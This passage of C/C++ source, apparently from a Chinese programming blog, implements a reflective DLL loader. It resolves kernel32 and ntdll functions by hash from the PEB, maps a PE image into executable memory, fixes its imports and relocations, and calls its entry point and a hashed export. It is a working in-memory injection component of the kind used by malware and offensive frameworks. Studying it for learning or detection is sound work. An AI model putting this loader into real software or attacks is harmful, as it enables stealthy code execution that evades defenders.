	ULONG_PTR ImageNtHeaders = NULL;
	ULONG_PTR ImageDataDirectory = 0;
	ULONG_PTR ImageImportDescriptor = NULL;  
	ULONG_PTR ImageExportDirectory  = NULL;
	ULONG_PTR AddressOfNames = 0;
	ULONG_PTR AddressOfFunctions = 0;
	ULONG_PTR AddressOfNameOrdinals = 0;
	DWORD     NumberOfNames = 0;
	DWORD     HashValue = 0;
	DWORD     IsLoop = 0;
	ULONG_PTR VirtualAddress = 0;
	DWORD     SizeOfHeaders = 0;
	BYTE*     v1 = NULL;
	BYTE*     v2 = NULL;
	WORD      NumberOfSections = 0;
	ULONG_PTR SectionVirtualAddress = 0;
	ULONG_PTR SectionPointerToRawData = 0;
	DWORD     SizeOfRawData = 0;
	ULONG_PTR ModuleBase = 0;   //导入模块的基地址
	ULONG_PTR OriginalFirstThunk = 0;
	ULONG_PTR FirstThunk = 0;
	ULONG_PTR ImageImportByName = 0;
	ULONG_PTR Diff = 0;
	ULONG_PTR v3 = 0;
	ULONG_PTR ImageBaseRelocation = NULL;
	ULONG_PTR ImageBaseRelocationItem = 0;
	ULONG_PTR ImageBaseRelocationItemCount = 0;
	ULONG_PTR AddressOfEntryPoint = 0;
	BOOL  IsOk = FALSE;
	DWORD ExitCode = 1;


	REFLECTIVELOADER::LPFN_LOADLIBRARYA   LoadLibraryA = NULL;
	REFLECTIVELOADER::LPFN_GETPROCADDRESS GetProcAddress = NULL;
	REFLECTIVELOADER::LPFN_VIRTUALALLOC   VirtualAlloc = NULL;
	REFLECTIVELOADER::LPFN_EXITTHREAD     ExitThread  = NULL;
	REFLECTIVELOADER::LPFN_EXITTHREAD  RtlExitUserThread = NULL;
	REFLECTIVELOADER::LPFN_NTFLUSHINSTRUCTIONCACHE NtFlushInstructionCache = NULL;

	

	//获得目标进程中Peb
#ifdef _WIN64
	Peb = (PPEB)__readgsqword(0x60);
#else
#ifdef _WIN32
	Peb = (PPEB)__readfsdword(0x30);
#else 
#endif
#endif

	Ldr = (ULONG_PTR)Peb->Ldr;  //Ldr中有三根链表   当前进程中加载的所有模块      
	LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
	while (LdrDataTableEntry)
	{
	    //获得当前进程加载的模块名
		ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer;   //双字

		//获得模块大小
		ModuleNameLength = LdrDataTableEntry->FullDllName.Length;
		ModuleHashValue = 0;

		//将目标进程的中的模块名经过算法转换为Hash值
		do
		{
			ModuleHashValue = ror((DWORD)ModuleHashValue);  
			if (*((BYTE*)ModuleName) >= 'a')   //转换为大写
			{
				ModuleHashValue += *((BYTE*)ModuleName) - 0x20;
			}
			else
			{
				ModuleHashValue += *((BYTE*)ModuleName);
			}
			ModuleName++;
		} while (--ModuleNameLength);

		//将计算后的Hash值与我们的Hash值进行比较,是否为Kernel32
		if ((DWORD)ModuleHashValue == KERNEL32_MODULE_HASH)
		{
			//获得Kerner32.dll的模块地址
			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];

			//获得Nt头基地址
			ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);

			//定位到数据目录的导出表项
			ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			//导出表地址
			ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

			//函数名地址
			AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);

			//函数序号地址
			AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
			NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
			IsLoop = 4;

			while (IsLoop > 0 && NumberOfNames > 0)
			{
				// 将Kernel32中的导出函数名转换为Hash值
				HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));

				// 如果和我们需要的函数Hash值相等
				if (HashValue == LOADLIBRARYA_HASH || HashValue == GETPROCADDRESS_HASH || HashValue == VIRTUALALLOC_HASH ||HashValue == EXITTHREAD_HSAH)
				{
					//获得函数地址
					AddressOfFunctions = (ModuleBase +((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

					AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));

					// 获得函数的绝对地址,并赋值给函数指针
					if (HashValue == LOADLIBRARYA_HASH)
						LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == GETPROCADDRESS_HASH)
						GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == VIRTUALALLOC_HASH)
						VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == EXITTHREAD_HSAH)
						ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));

					IsLoop--;
				}

				// 获取下一个函数名的地址
				AddressOfNames += sizeof(DWORD);

				// 获取下一个函数序号的地址
				AddressOfNameOrdinals += sizeof(WORD);

				NumberOfNames--;
			}
		}
		//在目标进程中查询Ntdll动态库
		else if ((DWORD)ModuleHashValue == NTDLL_MODULE_HASH)
		{
			// 获得该模块的基地址
			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];

			// 获得Nt头的基地址
			ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);

			//该模块的导出表结构
			ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			//导出表地址
			ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

			AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);

			AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
			NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
			IsLoop = 2;

			while (IsLoop > 0&&NumberOfNames>0)
			{
				HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));

				if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH || HashValue == RTLEXITUSERTHREAD_HASH)
				{
					AddressOfFunctions = (ModuleBase +
						((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

					AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));

					if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
						NtFlushInstructionCache = (REFLECTIVELOADER::LPFN_NTFLUSHINSTRUCTIONCACHE)(ModuleBase 
							+ DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == RTLEXITUSERTHREAD_HASH)
						RtlExitUserThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + 
							DEREFERENCE_32(AddressOfFunctions));

					IsLoop--;
				}
				AddressOfNames += sizeof(DWORD);
				AddressOfNameOrdinals += sizeof(WORD);
				NumberOfNames--;
			}
		}

		// Kernel32中的导出函数全部获得
		if (LoadLibraryA && GetProcAddress && VirtualAlloc && ExitThread && NtFlushInstructionCache)
		{
			break;
		}
			
		LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)DEREFERENCE(LdrDataTableEntry);
	}

	//定位到Nt头
	ImageNtHeaders = (BufferData + ((PIMAGE_DOS_HEADER)BufferData)->e_lfanew);

	//申请内存
	VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, 
		((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	//文件大小
	SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders;

	v1 = (BYTE*)BufferData;     //目标进程
	v2 = (BYTE*)VirtualAddress; //当前进程
	//将PE头部内容拷贝到ImageBase处
	while (SizeOfHeaders--)
	{
		*(BYTE *)v2++ = *(BYTE *)v1++;
	}
		
	// 定位到区段表
	ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader + 
		((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);

	// 区段数
	NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
	while (NumberOfSections--)
	{
		// 内存中的区段地址
		SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
		
		// 文件中的区段地址
		SectionPointerToRawData = (BufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);

		// 文件中的区段大小
		SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;

		// 将文件中的区段数据复制到内存地址处
		while (SizeOfRawData--)
			*(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;

		// 开始处理下一个区段
		ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
	}

	// 导入表项
	ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

	// 导入表起始地址
	ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

	// 从起始地址开始,加载每一个Dll和Dll中的导入函数
	while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
	{
		// Dll基地址
		ModuleBase = (ULONG_PTR)LoadLibraryA((LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));

		// 函数名数组的基地址
		OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);

		// 需要修正的导入函数地址表
		FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);

		while (DEREFERENCE(FirstThunk))
		{
			// 索引导入
			if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				// 按索引号搜索Dll中对应的导出表中的导出函数
				ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
				// 需要修正某个Dll的导入表,查看该Dll的导出函数
				ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
				
				ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
				
				AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

				//导入函数地址 = (导入表索引 - Base) * 4 + 起始地址
				AddressOfFunctions += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));

				//将FirstThunk中的内容修改为真正函数地址
				DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
			}
			else
			{
				//修正名称导入的函数地址
				ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
				//将函数名导入的函数地址填入到IAT中
				DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase, 
					(LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
			}
			
			FirstThunk += sizeof(ULONG_PTR);
			if (OriginalFirstThunk)
				OriginalFirstThunk += sizeof(ULONG_PTR);
		}
		ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}

	//重定位表,计算实际加载Image的地址和ImageBase的差值
	ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
	Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;

	//代表重定向表的目录
	ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
	{
		//定位到重定向表
		ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

		//重定位表每一项包含一个起始地址和若干个WORD型的偏移地址,组合后为需要重定位的地址
		while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
		{
			//重定向表中的word表
			v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);

			ImageBaseRelocationItemCount = (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_BASE_RELOCATION_ITEM);

			ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);

			while (ImageBaseRelocationItemCount--)
			{
				if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
				{
					*(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += Diff;
				}
					
				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
				{
					*(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += (DWORD)Diff;
				}
					

				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
				{
					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += HIWORD(Diff);
				}
					
			
				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
				{
					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);
				}
				
				ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
			}

			ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
		}
	}
	
	//入口地址
	AddressOfEntryPoint = (VirtualAddress + ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.AddressOfEntryPoint);

	NtFlushInstructionCache((HANDLE)-1, NULL, 0);

	
	((REFLECTIVELOADER::LPFN_DLLMAIN)AddressOfEntryPoint)((HINSTANCE)VirtualAddress, DLL_PROCESS_ATTACH, ParameterData);

	ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
	do
	{
		ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
		if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size == 0)
		{
			break;
		}
			

		ImageExportDirectory = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
		if (((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->NumberOfNames == 0 || 
			((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->NumberOfFunctions == 0)
		{
			break;
		}
			
		AddressOfNames = (VirtualAddress + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
		AddressOfNameOrdinals = (VirtualAddress + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);

		NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
		while (NumberOfNames > 0)
		{
			HashValue = MakeHashValue((char *)(VirtualAddress + DEREFERENCE_32(AddressOfNames)));

			if (HashValue == FunctionHashValue)
			{
				AddressOfFunctions = (VirtualAddress +
					((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

				AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
				AddressOfFunctions = VirtualAddress + DEREFERENCE_32(AddressOfFunctions);
				IsOk = TRUE;
				break;
			}
			AddressOfNames += sizeof(DWORD);
			AddressOfNameOrdinals += sizeof(WORD);
			NumberOfNames--;
		}
	
		if (IsOk == FALSE)
		{
			break;
		}
			
		if (!((REFLECTIVELOADER::LPFN_MYFUNCTION)AddressOfFunctions)(UserData, UserDataLength))
		{
			break;
		}
			
		ExitCode = 0;
	} while (0);

	if (RtlExitUserThread)
	{
		RtlExitUserThread(ExitCode);
	}
		
	else
	{
		ExitThread(ExitCode);
	}
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值